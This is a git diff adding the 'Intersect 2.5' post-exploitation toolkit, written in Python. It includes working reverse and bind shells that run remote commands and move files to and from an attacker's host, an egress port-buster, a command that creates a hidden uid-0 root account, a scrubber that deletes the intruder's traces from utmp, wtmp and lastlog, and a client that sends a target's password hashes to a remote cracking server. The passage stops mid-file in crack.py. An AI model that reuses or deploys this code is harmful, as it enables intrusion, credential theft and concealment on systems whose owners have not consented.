+ #XMLRPC request. + file = open(filename, 'rb') + for line in file: + data.append(line.rstrip('\r\n')) + file.close() + except Exception, err: + print "Error opening file " + filename + ": " + str(err) + + # Open connection to xmlrpc server + server = ("http://"+RHOST+":"+str(RPORT)) + try: + s = xmlrpclib.ServerProxy(server) + except: + print "Error opening connection to server " + server + ": " + str(err) + + # Send request to server and receive ID + id, msg = s.crack(data, hashtype) + + if id == 0: + print msg + else: + # Poll server for completion status and results using ID. + complete = False + wait = 10 + while True: + time.sleep(wait) + complete, results = s.results(id) + if results != []: + for r in results: + print r.rstrip('\r\n') + if complete: break + +def egressbuster(): + ''' + @description: Checks a range of ports to find available outbound ports. used to break egress filters. + @author: original code by David Kennedy aka ReL1K + @short: finds open outbound ports + ''' + if len(sys.argv) <=2: + print("[!] Must specify a port-range!") + sys.exit() + + portrange = sys.argv[2] + portrange = portrange.split("-") + lowport = int(portrange[0]) + highport = int(portrange[1]) + base_port = int(lowport)-1 + end_port = int(highport) + + print "Sending packets to egress listener..." + + while 1: + base_port = base_port + 1 + thread.start_new_thread(start_socket, (RHOST,base_port)) + + time.sleep(0.02) + + if base_port == end_port: + break + + print "All packets have been sent" + + +def start_socket(RHOST,base_port): + try: + sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sockobj.connect((RHOST, base_port)) + sockobj.send(str(base_port)) + sockobj.close() + except Exception, e: + print e + # pass through, ports closed + pass + + + +def aeshttp(): + ''' + @description: Starts a reverse HTTP shell with AES encryption that will connect back to a remote host. + @short: reverse AES HTTP shell + @author: original code by David Kennedy aka ReL1k + ''' + import httplib + import urllib + try: + from Crypto.Cipher import AES + except ImportError: + print("[!] Python Crypto library is not installed. This module will not work without this!") + sys.exit(2) + + BLOCK_SIZE = 32 + PADDING = '{' + pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) + DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + + secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" + + cipher = AES.new(secret) + + while 1: + + req = urllib2.Request('http://%s:%s' % (RHOST,RPORT)) + message = urllib2.urlopen(req) + message = base64.b64decode(message.read()) + message = DecodeAES(cipher, message) + + if message == "killme": + sys.exit() + + if message.startswith("cd"): + destination = message[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + else: + pass + + + proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + data = proc.stdout.read() + proc.stderr.read() + data = EncodeAES(cipher, data) + data = base64.b64encode(data) + data = urllib.urlencode({'cmd': '%s'}) % (data) + h = httplib.HTTPConnection('%s:%s' % (RHOST,RPORT)) + headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} + h.request('POST', '/index.aspx', data, headers) + + + +def xor(string, key): + ''' + @description: Opens a reverse XOR ciphered TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: reverse XOR TCP shell + ''' + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def reversexor(): + socksize = 4096 + conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + conn.connect((RHOST, RPORT)) + conn.send(xor("[+] New connection established!", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + except: + print("[!] Connection error!") + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith('adduser'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.", PKEY)) + + elif cmd2.startswith('upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith('download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith("rebootsys"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == ("extask"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith("extask"): + getname = cmd.split(" ") + modname = getname[1] + if modname in modList is False: + conn.send(xor("[!] Module not loaded!", PKEY)) + else: + conn.send(xor("[+] Executing %s " % modname, PKEY)) + execmod = modname+"()" + execmod + + elif cmd2 == ('killme'): + conn.send(xor("[!] Shutting down shell!\n", PKEY)) + conn.close() + sys.exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + + +def xor(string, key): + ''' + @description: Starts a XOR ciphered TCP bindshell on the target. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: XOR TCP bindshell + ''' + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def xorshell(): + HOST = '' + socksize = 4096 + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + try: + server.bind((HOST, PORT)) + server.listen(10) + print("[+] Shell bound on port %s" % PORT) + conn, addr = server.accept() + print "[+] New Connection: %s" % addr[0] + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + except: + print "[!] Connection closed." + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith('adduser'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.\n", PKEY)) + + elif cmd2.startswith('upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith('download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith("rebootsys"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == ("extask"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith("extask"): + getname = cmd.split(" ") + modname = getname[1] + if modname in modList is False: + conn.send(xor("[!] Module not loaded!", PKEY)) + else: + conn.send(xor("[+] Executing %s " % modname, PKEY)) + execmod = modname+"()" + execmod + + elif cmd2 == ('killme'): + conn.send(xor("[!] Shutting down shell!\n", PKEY)) + conn.close() + sys.exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + + + +def scrub(): + ''' + @description: Attempts to remove the currently logged in username and IP address from utmp, wtmp and lastlog. Intrusive method. + @author: ohdae [bindshell@live.com] + @short: cleans utmp, wtmp and lastlog + ''' + try: + Current_User = os.getlogin() + except OSError: + print "[!] Cannot find user in logs. Did you all ready run --scrub ?" + return + + newUtmp = scrubFile(UTMP_FILEPATH, Current_User) + writeNewFile(UTMP_FILEPATH, newUtmp) + print "[+] %s cleaned" % UTMP_FILEPATH + + newWtmp = scrubFile(WTMP_FILEPATH, Current_User) + writeNewFile(WTMP_FILEPATH, newWtmp) + print "[+] %s cleaned" % WTMP_FILEPATH + + newLastlog = scrubLastlogFile(LASTLOG_FILEPATH, Current_User) + writeNewFile(LASTLOG_FILEPATH, newLastlog) + print "[+] %s cleaned" % LASTLOG_FILEPATH + + +def scrubFile(filePath, Current_User): + newUtmp = "" + with open(filePath, "rb") as f: + bytes = f.read(UTMP_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hi32s4s32s256shhiii36x", bytes) + if cut(data[4]) != Current_User and cut(data[5]) != User_Ip_Address: + newUtmp += bytes + bytes = f.read(UTMP_STRUCT_SIZE) + f.close() + return newUtmp + + +def scrubLastlogFile(filePath, Current_User): + pw = pwd.getpwnam(Current_User) + uid = pw.pw_uid + idCount = 0 + newLastlog = '' + + with open(filePath, "rb") as f: + bytes = f.read(LASTLOG_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hh32s256s", bytes) + if (idCount != uid): + newLastlog += bytes + idCount += 1 + bytes = f.read(LASTLOG_STRUCT_SIZE) + return newLastlog + + +def writeNewFile(filePath, fileContents): + f = open(filePath, "w+b") + f.write(fileContents) + f.close() + + + + +def usage(): + print('============================================') + print(' intersect 2.5 | custom version ') + print(' http://bindshell.it.cx | ohdae') + print(' Modules:') + print(' -b --bshell TCP bindshell') + print(' -x --xmlcrack xmlrpc crack client (-x filename hashtype)') + print(' -e --egressbuster finds open outbound ports') + print(' -a --aeshttp reverse AES HTTP shell') + print(' -r --reversexor reverse XOR TCP shell') + print(' -x --xorshell XOR TCP bindshell') + print(' -s --scrub cleans utmp, wtmp and lastlog') + +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'bxearxs', ['bshell', 'xmlcrack', 'egressbuster', 'aeshttp', 'reversexor', 'xorshell', 'scrub', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-b', '--bshell'): + bshell() + elif o in ('-x', '--xmlcrack'): + xmlcrack() + elif o in ('-e', '--egressbuster'): + egressbuster() + elif o in ('-a', '--aeshttp'): + aeshttp() + elif o in ('-r', '--reversexor'): + reversexor() + elif o in ('-x', '--xorshell'): + xorshell() + elif o in ('-s', '--scrub'): + scrub() + else: + assert False, 'unhandled option' + Shutdown() + + +globalvars() +environment() +if __name__ == "__main__": + if len(sys.argv) <=1: + usage() + main(sys.argv[1:]) \ No newline at end of file diff --git a/Intersect-2.5/Storage/readme b/Intersect-2.5/Storage/readme new file mode 100644 index 0000000..81b828f --- /dev/null +++ b/Intersect-2.5/Storage/readme @@ -0,0 +1,5 @@ +Intersect Framework +Storage Directory + +This folder is where files downloaded using the client-server shells +will be kept. diff --git a/Intersect-2.5/Tools/Standalone-Shells/AESHTTP/aes-server.py b/Intersect-2.5/Tools/Standalone-Shells/AESHTTP/aes-server.py new file mode 100644 index 0000000..635ed7c --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/AESHTTP/aes-server.py @@ -0,0 +1,117 @@ +#!/usr/bin/python +############################################ +# +# +# AES Encrypted Reverse HTTP Listener by: +# +# Dave Kennedy (ReL1K) +# http://www.secmaniac.com +# +# +############################################ +from BaseHTTPServer import BaseHTTPRequestHandler +from BaseHTTPServer import HTTPServer +import urlparse +import os, re, sys +import base64 +from Crypto.Cipher import AES + +if len(sys.argv) <=1: + print("Must specify listening port!") + sys.exit(0) +else: + PORT = sys.argv[1] + +# the block size for the cipher object; must be 16, 24, or 32 for AES +BLOCK_SIZE = 32 +# the character used for padding--with a block cipher such as AES, the value +# you encrypt must be a multiple of BLOCK_SIZE in length. This character is +# used to ensure that your value is always a multiple of BLOCK_SIZE +PADDING = '{' +# one-liner to sufficiently pad the text to be encrypted +pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + +# one-liners to encrypt/encode and decrypt/decode a string +# encrypt with AES, encode with base64 +EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) +DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + +# 32 character secret key - change this if you want to be unique +secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" + +# create a cipher object using the random secret +cipher = AES.new(secret) + +# url decode for postbacks +def htc(m): + return chr(int(m.group(1),16)) + +# url decode +def urldecode(url): + rex=re.compile('%([0-9a-hA-H][0-9a-hA-H])',re.M) + return rex.sub(htc,url) + +class GetHandler(BaseHTTPRequestHandler): + + # handle get request + def do_GET(self): + + # this will be our shell command + message = raw_input("shell> ") + # send a 200 OK response + self.send_response(200) + # end headers + self.end_headers() + # encrypt the message + message = EncodeAES(cipher, message) + # base64 it + message = base64.b64encode(message) + # write our command shell param to victim + self.wfile.write(message) + # return out + return + + # handle post request + def do_POST(self): + + # send a 200 OK response + self.send_response(200) + # # end headers + self.end_headers() + # grab the length of the POST data + length = int(self.headers.getheader('content-length')) + # read in the length of the POST data + qs = self.rfile.read(length) + # url decode + url=urldecode(qs) + # remove the parameter cmd + url=url.replace("cmd=", "") + # base64 decode + message = base64.b64decode(url) + # decrypt the string + message = DecodeAES(cipher, message) + # display the command back decrypted + print message + +if __name__ == '__main__': + + # bind to all interfaces + server = HTTPServer(('', len(PORT)), GetHandler) + print """############################################ +# +# +# AES Encrypted Reverse HTTP Listener by: +# +# Dave Kennedy (ReL1K) +# http://www.secmaniac.com +# +# +############################################""" + print 'Starting encrypted web shell server, use to stop' + # simple try block + try: + # serve and listen forever + server.serve_forever() + # handle keyboard interrupts + except KeyboardInterrupt: + print "[!] Exiting the encrypted webserver shell.. hack the gibson." diff --git a/Intersect-2.5/Tools/Standalone-Shells/EgressBuster/egress_listener.py b/Intersect-2.5/Tools/Standalone-Shells/EgressBuster/egress_listener.py new file mode 100644 index 0000000..41ced88 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/EgressBuster/egress_listener.py @@ -0,0 +1,71 @@ +#!/usr/bin/python + +import threading +import time +import SocketServer +import sys + +# +# +# This is the listener for the egress buster - works both on posix and windows +# +# Egress Buster Listener - Written by: Dave Kennedy (ReL1K) +# +# + +# assign arg params +try: + portrange = sys.argv[1] + portrange = portrange.split("-") + lowport = int(portrange[0]) + lowport = lowport - 1 + highport = int(portrange[1]) + +# if we didnt put anything in args +except IndexError: + print """ +Egress Buster v0.1 - Find open ports inside a network + +Only use a 1000 at a time! Anything more will cause errors. + +Quick Egress Buster Listener written by: Dave Kennedy (ReL1K) + +Usage: python egress_listener.py +Example: python egress_listener.py 1-1000 + """ + sys.exit() + +# base class handler for socket server +class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler): + + # handle the packet + def handle(self): + self.data = self.request.recv(1024).strip() + print "%s connected on port: %s\n" % (self.client_address[0],self.data) + # self.request.send(self.data.upper()) + +class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): + pass + +if __name__ == "__main__": + + while 1: + + lowport = lowport + 1 + try: + socketserver = ThreadedTCPServer(('', lowport), ThreadedTCPRequestHandler) + socketserver_thread = threading.Thread(target=socketserver.serve_forever) + socketserver_thread.setDaemon(True) + socketserver_thread.start() + + except Exception, e: + print e + pass + + if lowport == highport: break + + while 1: + try: + time.sleep(1) + except KeyboardInterrupt: + break diff --git a/Wappalyzer/drivers/phantomjs/lib/PLACE_PHANTOMJS_BINARY_HERE b/Intersect-2.5/Tools/Standalone-Shells/ICMP/icmp-master.py similarity index 100% rename from Wappalyzer/drivers/phantomjs/lib/PLACE_PHANTOMJS_BINARY_HERE rename to Intersect-2.5/Tools/Standalone-Shells/ICMP/icmp-master.py diff --git a/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-client.py b/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-client.py new file mode 100644 index 0000000..84dbab8 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-client.py @@ -0,0 +1,85 @@ +#!/usr/bin/python + +# Intersect 2.5 +# TCP Shell Client +# https://github.com/ohdae/Intersect-2.0/ + +import os, sys +import socket +from subprocess import Popen,PIPE,STDOUT,call + +try: + HOST = sys.argv[1] + PORT = int(sys.argv[2]) +except IndexError: + print("You must specify a host IP address and port number!") + print("usage: ./tcp-client.py 192.168.1.4 4444") + sys.exit() + +socksize = 4096 +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +try: + server.connect((HOST, PORT)) + print("[+] New connection established!") + print("[+] Starting Intersecting shell....") + print("[+] Type ':help' for all commands.") +except: + print("[!] Connection error!") + sys.exit(2) + + +while True: + data = server.recv(socksize) + cmd = raw_input(data) + server.sendall(str(cmd)) + + if cmd == (':killme'): + print("[!] Shutting down Intersect!") + server.close() + sys.exit(0) + + if cmd == (':quit'): + print("[!] Closing shell connection!") + server.close() + sys.exit(0) + + elif cmd.startswith(':download'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = server.recv(socksize) + newfile = file(filename, "wb") + newfile.write(data) + newfile.close() + if os.path.exists(filename) is True: + print("[+] Download complete.") + print("[+] File location: " + os.getcwd()+"/"+filename) + + elif cmd.startswith(':upload'): + getname = cmd.split(" ") + loc_file = getname[1] + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + server.sendall(filedata) + + elif cmd.startswith(':exec'): + print("[!] Feature not yet implemented!") + + elif cmd == (":help"): + print(" Available Commands: ") + print("---------------------------------") + print(" :download | download file from host") + print(" :upload | upload file to host") + print(" :mods | list available modules") + print(" :exec | run Intersect tasks") + print(" :addroot | add new root account") + print(" :reboot | reboot remote host system") + print(" :help | display this menu") + print(" :killme | shuts down Intersect completely") + print(" :quit | closes shell connection\n") + + print("* If the shell appears to hang after sending or receiving data, press [enter] and it should fix the issue.") + +server.close() diff --git a/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-listener.py b/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-listener.py new file mode 100644 index 0000000..6eb080d --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-listener.py @@ -0,0 +1,94 @@ +#!/usr/bin/python + +# Intersect 2.5 +# TCP Shell Listener +# https://github.com/ohdae/Intersect-2.0 + +import os, sys +import socket +import time + +activePID = [] +socksize = 4096 + +try: + HOST = sys.argv[1] + PORT = int(sys.argv[2]) +except IndexError: + print("You must specify a host IP address and port number!") + print("usage: ./tcp-client.py 192.168.1.4 4444") + sys.exit() + +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) +server.bind((HOST, PORT)) +server.listen(5) +print("Listening on port %s for 5 connetions..." % PORT) + +def reaper(): + while activePID: + pid,stat = os.waitpid(0, os.WNOHANG) + if not pid: break + activePID.remove(pid) + +def accept(): + while 1: + conn, addr = server.accept() + print "[!] New connection!" + reaper() + childPid = os.fork() + if childPid == 0: + handler(conn) + else: + activePID.append(childPid) + +def handler(conn): + time.sleep(3) + + while True: + data = conn.recv(socksize) + cmd = raw_input(data) + conn.sendall(str(cmd)) + if cmd == (':killme'): + print("[!] Shutting down shell!") + conn.close() + sys.exit(0) + elif cmd.startswith(':download'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + newfile = file(filename, "wb") + newfile.write(data) + newfile.close() + if os.path.exists(filename) is True: + print("[+] Download complete.") + print("[+] File location: " + os.getcwd()+"/"+filename) + elif cmd.startswith(':upload'): + getname = cmd.split(" ") + loc_file = getname[1] + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + conn.sendall(filedata) + elif cmd == (":exec"): + print("Feature not yet fully implemented!") + elif cmd == (":help"): + print(" Available Commands: ") + print("---------------------------------") + print(" :download | download file from host") + print(" :upload | upload file to host") + print(" :mods | list available modules") + print(" :exec | run Intersect tasks") + print(" :addroot | add new root account") + print(" :reboot | reboot remote host system") + print(" :help | display this menu") + print(" :killme | shuts down shell connection\n") + print("* If the shell appears to hang after sending or receiving data, press [enter] and it should fix the issue.") + + conn.close() + os._exit(0) + + +accept() + diff --git a/Intersect-2.5/Tools/Standalone-Shells/UDP/udp-client.py b/Intersect-2.5/Tools/Standalone-Shells/UDP/udp-client.py new file mode 100644 index 0000000..4443714 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/UDP/udp-client.py @@ -0,0 +1,51 @@ +#!/usr/bin/python + +# Intersect 2.5 +# UDP Shell Client +# https://github.com/ohdae/Intersect-2.0 + +import os, sys +import socket + +try: + host = sys.argv[1] +except IndexError: + print("Intersect 2.5 - UDP Shell Client.") + print("Usage: ./UDP-Client.py serverIP") + print("[!] You must specify a host IP address!") + sys.exit() + +port = 21541 +buf = 1024 +addr = (host,port) + +# Create socket +UDPSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +print("UDP Interactive Shell.\nEnter ':help' for a list of extra available commands.") + +while 1: + cmd = raw_input("Intersect => ") + (UDPSock.sendto(cmd,addr)) + + if cmd == ":killme": + (UDPSock.sendto(":killme",addr)) + print("[!] Closing shell connection!") + sys.exit(0) + + elif cmd == ":help": + print("Available Commands:\n") + print(":help | this menu") + print(":mods | list loaded modules") + print(":temp | go to Intersect session directory") + print(":addroot name | add new root account with 'name'") + print(":exec module | executes Intersect 'module'") + print(":killme | closes shell connection") + + elif cmd.startswith(":exec"): + print("[!] Command not fully implemented yet. Sorry!") + + else: + data,addr = UDPSock.recvfrom(buf) + print data + +UDPSock.close() diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/README b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/README new file mode 100644 index 0000000..f1d8961 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/README @@ -0,0 +1,18 @@ +The XMLRPC Cracking Utility is originally written by Stephen Haywood aka AverageSecurityGuy +You can find the original version at https://github.com/averagesecurityguy/crack/ + +Important! This module has not been fully tested so there may be some bugs. If you find anything wrong with this, please let me know. + +Instructions: + +When you build your custom Intersect script, you will be asked to define a Remote Host (your XML servers IP) and a Remote Port (the XML servers port). +Make sure you start crackserver.py with the correct host and port information before you attempt to run XMLCrack on the target host side. + +Edit the crack.cfg file to suit you specific needs. There are instructions within crack.cfg that explain how you should do this. + +1) Start your CrackServer.py XMLRPC server +2) Run "./Script.py --xmlcrack filename hashtype" on the target system +3) The target system will open an XMLRPC connection to the system running CrackServer.py +4) The target system will serve up the specified file and the specified hash type +5) The CrackServer will use Crack.py and Crack.cfg to attempt to crack the hashes within the specified file + diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.cfg b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.cfg new file mode 100644 index 0000000..2a85f17 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.cfg @@ -0,0 +1,44 @@ +#Configuration file for CrackManager +# +#Each line of the file defines the type of password to crack and the command +#used to crack it. Multiple commands can be defined for each password type. +#The commands will be tried in order from top to bottom. Each command line +#should define include the {file} and {output} tags in the appropriate places. +# +#To simplify some of the code we define two hash types of pwdump and dcc. +#Commands associated with the pwdump type must accept a file in pwdump format. +#Commands associated with dcc should accept a file in the hash:username format, +#similar to hashcat. +# +#Example +#pwdump|rcracki_mt.exe -f {file} -t 4 -o {output} tables\lm +#ntlm|hashcat -m 1000 {file} lists\rockyou.txt -r rules\best64.rule +#ntlm|hashcat -m 1000 {file} lists\rockyou.txt -r rules\d3ad_one-28k.rule +#dcc|hashcat -m 1100 {file} lists\english_6 -r rules\best64.rule + +#pwdump files +#pwdump|jtr/run/john --single {file} +pwdump|rcracki/rcracki_mt -f {file} -t 4 tables/lm + +#DCC files +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_6.txt -r rules/best64.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_6.txt -r rules/passwordspro.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_6.txt -r rules/d3ad0ne_23.8K.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_7.txt -r rules/best64.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_7.txt -r rules/passwordspro.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_7.txt -r rules/d3ad0ne_23.8K.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_8.txt -r rules/best64.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_8.txt -r rules/passwordspro.rule +#dcc|hashcat/hashcat-cli64.bin -m 1100 {file} lists/english_8.txt -r rules/d3ad0ne_23.8K.rule + +#ntlm hashes +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_6.txt -r rules/best64.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_6.txt -r rules/passwordspro.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_6.txt -r rules/d3ad0ne_23.8K.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_7.txt -r rules/best64.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_7.txt -r rules/passwordspro.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_7.txt -r rules/d3ad0ne_23.8K.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_8.txt -r rules/best64.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_8.txt -r rules/passwordspro.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/english_8.txt -r rules/d3ad0ne_23.8K.rule +ntlm|oclhashcat+/cudaHashcat+64.exe -m 1000 {file} lists/rockyou.txt -r /rules/best64.rule diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.py b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.py new file mode 100644 index 0000000..186afdc --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.py @@ -0,0 +1,233 @@ +#!/usr/bin/python +# Copyright 2011 Stephen Haywood aka AverageSecurityGuy +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# crack.py defines a CrackManager object and a CrackThread object, which +# are used to receive and process password cracking requests. +# + +import subprocess +import shlex +import threading +import os +import time +import re +import traceback + +#----------------------------------------------------------------------------- +# CrackThread Class +#----------------------------------------------------------------------------- +class CrackThread(threading.Thread): + """Takes an id, hash type, a hash list, and a list of commands. The hash + list should be in username:hash format except for pwdump and dcc hash + lists, which are special cases. The hash list is processed to extract + usernames and is then written to the disk to be used by each command. After + each command is run the results are processed, added to the results array, + and the cracked hashes are removed from the hash file.""" + + def __init__(self, id, hash_type, hash_list, commands): + threading.Thread.__init__(self) + self.id = id + self.hash_type = hash_type + self.hash_list = hash_list + self.commands = commands + self.hash_file = id + '.hash' + self.results = [] + self.hashes = {} + self.complete = False + + def __del__(self): + """Remove the temporary hash file""" + os.remove(self.hash_file) + + def process_hash_list(self): + """Process the file passed to us and extract the usernames, then write + the file to disk for processing by the commands. Pwdump files and DCC + files are special cases. The typical input should be username:hash""" + + if self.hash_type == 'pwdump': + for line in self.hash_list: + user, id, lm, ntlm, a, b, c = line.split(':') + self.hashes[lm.lower()] = user + + self.write_file() + + elif self.hash_type == 'dcc': + for line in self.hash_list: + dcc, user = line.split(':') + self.hashes[dcc.lower()] = user + + self.write_file() + + else: + hashes = [] + for line in self.hash_list: + user, hash = line.split(':') + self.hashes[hash.lower()] = user + hashes.append(hash.lower()) + + self.write_file(hashes) + + def 